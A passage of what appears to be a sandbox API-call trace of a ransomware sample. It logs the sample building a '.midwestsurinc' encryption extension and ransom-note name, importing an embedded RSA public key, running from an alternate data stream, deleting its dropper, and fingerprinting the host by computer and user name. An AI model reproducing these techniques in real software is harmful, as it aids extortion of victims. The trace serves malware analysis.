lpDst="C:\\Windows") returned 0xb [0026.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c82850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0026.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c82850, cbMultiByte=10, lpWideCharStr=0x233e048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0026.850] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x1c82850, nSize=0x2800 | out: lpDst="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 0x25 [0026.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c82850, cbMultiByte=36, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 36 [0026.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c82850, cbMultiByte=36, lpWideCharStr=0x233e0d0, cchWideChar=36 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp") returned 36 [0026.850] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x1c82850, nSize=0x2800 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2e [0026.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c82850, cbMultiByte=45, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 45 [0026.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c82850, cbMultiByte=45, lpWideCharStr=0x233e158, cchWideChar=45 | out: lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 45 [0026.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c85058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0026.850] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c85058, cbMultiByte=14, lpWideCharStr=0x233e1e0, cchWideChar=14 | out: lpWideCharStr=".midwestsurinc") returned 14 [0026.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c85058, cbMultiByte=21, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 21 [0026.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x1c85058, cbMultiByte=21, lpWideCharStr=0x233e268, cchWideChar=21 | out: lpWideCharStr=".midwestsurinc_readme") returned 21 [0026.851] WaitForSingleObject (hHandle=0xc4, dwMilliseconds=0xffffffff) returned 0x0 [0026.851] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0026.851] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0cOJv9Aj24KNBa4Tg+wa\r\nv5qBoxAz4aYPx79WQ/Fv+0crkkL6Ntr+cit1qYv+kOOipAjw7bHZ3fhqS6Tcm4YL\r\nBCz2vwVHI1HtZbattwG4L5RFN/Rc/FwuzpanfLmsdBVPOwdMXBCbLqDxpgbE1Gyj\r\nAfvGH0RdbcBYbdpleKlW+CCIyC5qnCOrKXOt4ilyv8GFS20Mzuhwpb3aLPNHAZ3N\r\n4VKgtsJkVM1hf4aU5U7lGwFoQzviK8cPzeheV1B1uUTr0+3sloZ74vB4b7UZ2Usa\r\nCjv7gHkuV9U9ZYAksxV6T6ja/hetEIy/CkqvgJNhJM/iJ4aCVedjdf0oBK2J8ilE\r\n7nEypSXl/sACMVuDhxPKUDZ7cNRK7JGV49E5PftX5zPYjbn8kmhNuVYq3k+BhlQn\r\nsHFVDMRBzHJJySsmj07x3qwbSrE82ERX4PoFjUkYyYA/4CdHwUGyUFP5nCAN9uRE\r\nbkhUJD28OMUHRUoMvAu1vberKFxNNbCa5HKw1GgF/j0DvqgOCxK4wdC5vixjOZNV\r\nMTT/wlkE5Q5356N9IksFCGW2iJXSpWIHzqES6oJD8VUYIcvU8hWQHYgi7jZ6gWN3\r\nmF30p0D0Zqx2zzOmwh6si15pBzj2gyKtGY1ZMbbWWx7q5EX6l2NkpOV1p6BY6uD6\r\nRF9Z6zKY+rwjT6TANpN7PwECAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x1c87cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x1c87cf8, pcbBinary=0x18fd24, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0026.851] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x1c87cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x0, pcbStructInfo=0x18fd24) returned 1 [0026.854] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x280) returned 0x1c87f40 [0026.854] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x1c87cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x1c87f40, pcbStructInfo=0x18fd24 | out: pvStructInfo=0x1c87f40, pcbStructInfo=0x18fd24) returned 1 [0026.854] CryptImportPublicKeyInfo (in: hCryptProv=0x282240, dwCertEncodingType=0x10001, pInfo=0x1c87f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x1c87f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x1c87f78*, PublicKey.cUnusedBits=0x0), phKey=0x18fd28 | out: phKey=0x18fd28*=0x286490) returned 1 [0026.855] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c87f40) returned 1 [0026.856] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c87cf8) returned 1 [0026.856] ReleaseMutex (hMutex=0xc4) returned 1 [0026.856] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85058) returned 1 [0026.856] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x2800) returned 0x1c85058 [0026.856] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c900 [0026.856] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c900) returned 1 [0026.856] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85058) returned 1 [0026.856] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x2800) returned 0x1c85058 [0026.856] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c900 [0026.856] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c900) returned 1 [0026.856] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c900 [0026.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233c900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0026.856] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e1e0 [0026.856] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x233c900, cbMultiByte=9, lpWideCharStr=0x233e1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0026.856] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e268 [0026.856] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233e1e0) returned 1 [0026.856] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233e268) returned 1 [0026.856] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c900) returned 1 [0026.856] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c85058) returned 1 [0026.856] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c82850) returned 1 [0026.856] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c0d8) returned 1 [0026.856] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d258) returned 1 [0026.856] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c240) returned 1 [0026.856] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d268) returned 1 [0026.856] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c120) returned 1 [0026.856] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d278) returned 1 [0026.856] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.856] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d288) returned 1 [0026.856] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233d5e8) returned 1 [0026.856] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0026.857] StartServiceCtrlDispatcherW (lpServiceTable=0x18fdf0*(lpServiceName="", lpServiceProc=0x40d040)) returned 0 [0026.859] GetLastError () returned 0x427 [0026.859] GetCommandLineW () returned="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\DP1UHJ~1:bin C:\\Users\\5P5NRG~1\\Desktop\\SQLBRO~1.EXE" [0026.859] CommandLineToArgvW (in: lpCmdLine="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\DP1UHJ~1:bin C:\\Users\\5P5NRG~1\\Desktop\\SQLBRO~1.EXE", pNumArgs=0x18fddc | out: pNumArgs=0x18fddc) returned 0x286788*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\DP1UHJ~1:bin" [0026.859] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x10) returned 0x233d5e8 [0026.859] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d288 [0026.859] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e268 [0026.859] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x8) returned 0x233d278 [0026.859] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e1e0 [0026.859] LocalFree (hMem=0x286788) returned 0x0 [0026.859] Wow64DisableWow64FsRedirection (in: OldValue=0x18fdd8 | out: OldValue=0x18fdd8*=0x0) returned 1 [0026.859] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x800) returned 0x1c87cf8 [0026.859] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1c87cf8, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\DP1UHJ~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\dp1uhj~1:bin")) returned 0x2e [0026.859] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x800) returned 0x1c88500 [0026.859] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1c88500, nSize=0x200 | out: lpFilename="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\DP1UHJ~1:bin" (normalized: "c:\\users\\5p5nrg~1\\appdata\\roaming\\dp1uhj~1:bin")) returned 0x2e [0026.859] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e2f0 [0026.859] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e378 [0026.859] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233e2f0) returned 1 [0026.860] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233e378) returned 1 [0026.860] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e378 [0026.860] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\Desktop\\SQLBRO~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\desktop\\sqlbro~1.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbfc | out: lpFileInformation=0x18fbfc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23553300, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x23553300, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x20f2d900, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x27000)) returned 1 [0026.861] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e2f0 [0026.861] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\Desktop\\SQLBRO~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\desktop\\sqlbro~1.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbf8 | out: lpFileInformation=0x18fbf8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23553300, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x23553300, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x20f2d900, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x27000)) returned 1 [0026.861] SetFileAttributesW (lpFileName="C:\\Users\\5P5NRG~1\\Desktop\\SQLBRO~1.EXE", dwFileAttributes=0x80) returned 1 [0026.865] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\Desktop\\SQLBRO~1.EXE" (normalized: "c:\\users\\5p5nrg~1\\desktop\\sqlbro~1.exe")) returned 1 [0026.867] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233e2f0) returned 1 [0026.867] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233e378) returned 1 [0026.867] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e378 [0026.867] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233e378) returned 1 [0026.867] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x5c) returned 0x233dd28 [0026.867] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e378 [0026.867] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e2f0 [0026.867] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e400 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e488 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e510 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e598 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e620 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e6a8 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e730 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e7b8 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e840 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e8c8 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x100) returned 0x1c88d08 [0026.868] GetEnvironmentVariableW (in: lpName="COMPUTERNAME", lpBuffer=0x1c88d08, nSize=0x40 | out: lpBuffer="XDUWTFONO") returned 0x9 [0026.868] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c88d08) returned 1 [0026.868] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233e8c8) returned 1 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e8c8 [0026.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="XDUWTFONO", cchWideChar=9, lpMultiByteStr=0x233c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="XDUWTFONO", lpUsedDefaultChar=0x0) returned 9 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c120 [0026.868] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c288) returned 1 [0026.868] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233e8c8) returned 1 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c288 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c240 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c0d8 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c900 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c948 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e8c8 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x100) returned 0x1c88d08 [0026.868] GetEnvironmentVariableW (in: lpName="USERNAME", lpBuffer=0x1c88d08, nSize=0x40 | out: lpBuffer="5p5NrGJn0jS HALPmcxz") returned 0x14 [0026.868] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c88d08) returned 1 [0026.868] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233e8c8) returned 1 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x80) returned 0x233e8c8 [0026.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c990 [0026.868] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="5p5NrGJn0jS HALPmcxz", cchWideChar=20, lpMultiByteStr=0x233c990, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="5p5NrGJn0jS HALPmcxz", lpUsedDefaultChar=0x0) returned 20 [0026.868] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c9d8 [0026.868] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c990) returned 1 [0026.869] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233e8c8) returned 1 [0026.869] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c9d8) returned 1 [0026.869] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c9d8 [0026.869] CryptAcquireContextW (in: phProv=0x18fc30, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc30*=0x286840) returned 1 [0026.869] CryptCreateHash (in: hProv=0x286840, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18fc30 | out: phHash=0x18fc30) returned 1 [0026.869] CryptHashData (hHash=0x2867c8, pbData=0x233c240, dwDataLen=0x20, dwFlags=0x0) returned 1 [0026.869] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x184) returned 0x1c88d08 [0026.869] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c990 [0026.869] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233ca20 [0026.870] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233ca68 [0026.870] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233cab0 [0026.870] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233caf8 [0026.870] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233cb40 [0026.870] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233cb88 [0026.870] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233cbd0 [0026.870] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c88eb0 [0026.870] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c88ef8 [0026.870] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c88f40 [0026.870] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c88f88 [0026.870] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c88fd0 [0026.870] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89018 [0026.870] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89060 [0026.870] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c890a8 [0026.870] CryptGetHashParam (in: hHash=0x2867c8, dwParam=0x4, pbData=0x18fc34, pdwDataLen=0x18fc40, dwFlags=0x0 | out: pbData=0x18fc34, pdwDataLen=0x18fc40) returned 1 [0026.870] CryptGetHashParam (in: hHash=0x2867c8, dwParam=0x2, pbData=0x233c9d8, pdwDataLen=0x18fc34, dwFlags=0x0 | out: pbData=0x233c9d8, pdwDataLen=0x18fc34) returned 1 [0026.870] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c890f0 [0026.870] CryptDestroyHash (hHash=0x2867c8) returned 1 [0026.870] CryptReleaseContext (hProv=0x286840, dwFlags=0x0) returned 1 [0026.870] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c9d8) returned 1 [0026.870] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c9d8 [0026.870] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89138 [0026.870] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c9d8) returned 1 [0026.870] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x233c9d8 [0026.870] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x233c9d8) returned 1 [0026.871] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89138) returned 1 [0026.871] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c890f0) returned 1 [0026.871] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c890f0 [0026.871] OpenEventA (dwDesiredAccess=0x100002, bInheritHandle=0, lpName="{DB697C21-3780-0C33-4345-2F1B4C2F2F3D}") returned 0x0 [0026.871] GetLastError () returned 0x2 [0026.871] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x5000) returned 0x1c82850 [0026.871] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89138 [0026.871] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89138) returned 1 [0026.871] ConvertStringSecurityDescriptorToSecurityDescriptorW () returned 0x1 [0026.871] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c82850) returned 1 [0026.871] GetSecurityDescriptorSacl (in: pSecurityDescriptor=0x27d228, lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8 | out: lpbSaclPresent=0x18fbf8, pSacl=0x18fc4c, lpbSaclDefaulted=0x18fbf8) returned 1 [0026.872] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89138 [0026.872] CreateEventA (lpEventAttributes=0x18fc40, bManualReset=1, bInitialState=0, lpName="{DB697C21-3780-0C33-4345-2F1B4C2F2F3D}") returned 0x120 [0026.872] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89138) returned 1 [0026.872] GetLastError () returned 0x0 [0026.872] SetSecurityInfo () returned 0x0 [0027.134] LocalFree (hMem=0x27d228) returned 0x0 [0027.134] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89138 [0027.134] CryptAcquireContextW (in: phProv=0x18fc30, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc30*=0x286840) returned 1 [0027.135] CryptCreateHash (in: hProv=0x286840, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x18fc30 | out: phHash=0x18fc30) returned 1 [0027.135] CryptHashData (hHash=0x2867c8, pbData=0x233c240, dwDataLen=0xb, dwFlags=0x0) returned 1 [0027.135] CryptGetHashParam (in: hHash=0x2867c8, dwParam=0x4, pbData=0x18fc34, pdwDataLen=0x18fc40, dwFlags=0x0 | out: pbData=0x18fc34, pdwDataLen=0x18fc40) returned 1 [0027.135] CryptGetHashParam (in: hHash=0x2867c8, dwParam=0x2, pbData=0x1c89138, pdwDataLen=0x18fc34, dwFlags=0x0 | out: pbData=0x1c89138, pdwDataLen=0x18fc34) returned 1 [0027.135] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89180 [0027.135] CryptDestroyHash (hHash=0x2867c8) returned 1 [0027.135] CryptReleaseContext (hProv=0x286840, dwFlags=0x0) returned 1 [0027.135] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89138) returned 1 [0027.135] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89138 [0027.135] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c891c8 [0027.135] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89138) returned 1 [0027.135] RtlAllocateHeap (HeapHandle=0x2330000, Flags=0x8, Size=0x40) returned 0x1c89138 [0027.135] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c89138) returned 1 [0027.135] RtlFreeHeap (HeapHandle=0x2330000, Flags=0x0, BaseAddress=0x1c891c8) returned 1 [0027.135] RtlFreeHeap (HeapHandle=0x2330000, 